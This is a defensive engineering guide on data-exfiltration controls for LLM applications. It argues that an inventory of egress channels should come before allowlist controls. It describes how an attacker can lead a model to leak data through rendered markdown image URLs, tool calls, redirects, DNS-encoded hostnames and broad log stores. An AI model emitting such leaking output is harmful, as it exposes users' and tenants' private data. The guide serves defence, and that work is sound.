Data-Exfiltration Controls

## What exfiltration means in an LLM system Data exfiltration is any path by which bytes that should stay inside a trust boundary reach a party outside it. In a classic application that usually implies code execution: an attacker runs a process and copies files out. In an LLM application the bar is far lower. The model composes output, and some component downstream *acts* on that output by performing a network request. The attacker needs no shell and no vulnerability in your code; they only need the model to emit a string that some renderer, tool or integration will dereference. That is why this leaf treats the *channel inventory* as the first control. Everything else on the list, from output allowlists to egress policy, is an answer to a specific channel. If a channel is missing from the inventory, no control covers it. ## The inventory **Rendered sinks.** A chat surface that renders model-authored markdown or HTML will, by default, fetch what the model wrote. An image reference is the sharpest case because it fires with no user interaction: the browser requests the URL the moment the message paints. Link previews, iframes, background images in inline styles, video posters and web fonts behave the same way. In a multi-tenant real-estate CRM assistant that renders agent-authored notes as markdown, a single image reference whose query string carries a seller's reserve price is a complete leak, delivered by the victim's own browser. **Tool sinks.** Any tool that takes a URL, a hostname, an email address, a webhook target or a message recipient is an egress channel with the model holding the steering wheel. So are integrations one step removed: posting to a ticketing system, sending a chat message, writing to a shared document that outsiders can read. The destination does not have to be attacker-owned; a channel that reaches a wider internal audience than the data's own scope is still exfiltration. **Protocol-level sinks.** Redirects move a request from an approved host to an unapproved one. DNS is the subtlest: resolving a name is itself a message to whoever runs that zone, so a lookup for a hostname whose leftmost label encodes data leaks even when every TCP connection is blocked. Timing and error-code differences are lower-bandwidth versions of the same idea. **Storage sinks.** Prompt logs, trace stores and eval datasets copy the full context window, and their access control is almost always broader than that of the source systems the context was assembled from. Data that was tenant-scoped in the database becomes org-wide in the tracing UI. ## Why the inventory precedes the controls The payload of an LLM exfiltration is indistinguishable from legitimate output. A URL containing a customer name looks exactly like a URL containing a customer name. Content inspection therefore cannot be the primary defence; you would be trying to decide whether a legal-looking request is intended, which requires knowing the intent behind it. Channel enumeration inverts the problem into one that is decidable: for each way bytes can leave, is the destination on a list somebody approved? That reframing gives you allowlists rather than denylists at every sink. Render-time: which hosts may images and links resolve to. Tool layer: which hostnames may an outbound request reach. Retrieval layer: which tenant's corpus may this session read. Logging layer: which value shapes may be written at all. ## How the inventory is kept honest Treat it as a living artefact reviewed on change, not a one-off document. The recurring failure is a new surface arriving after the review: a mobile client that renders HTML the web client stripped, a Slack integration added to an agent that previously only read, an eval harness that replays production traces into a third-party judge. Each is a new channel, and each usually ships without anyone noticing it widened the egress surface. A useful discipline is to require, for every new output surface or tool, a one-line answer to two questions: what network requests can this cause as a direct consequence of model output, and who controls the destination? Anything that cannot answer both does not ship. ## Bandwidth matters less than you think Engineers often dismiss low-bandwidth channels: a DNS label carries only a few dozen bytes, so surely it is not worth defending. But the interesting secrets are small. An API key, a reserve price, a diagnosis code, a salary figure all fit in a query string. Rate limiting an egress channel reduces bulk copying but does not protect small high-value secrets, which is why allowlisting the destination beats throttling the volume.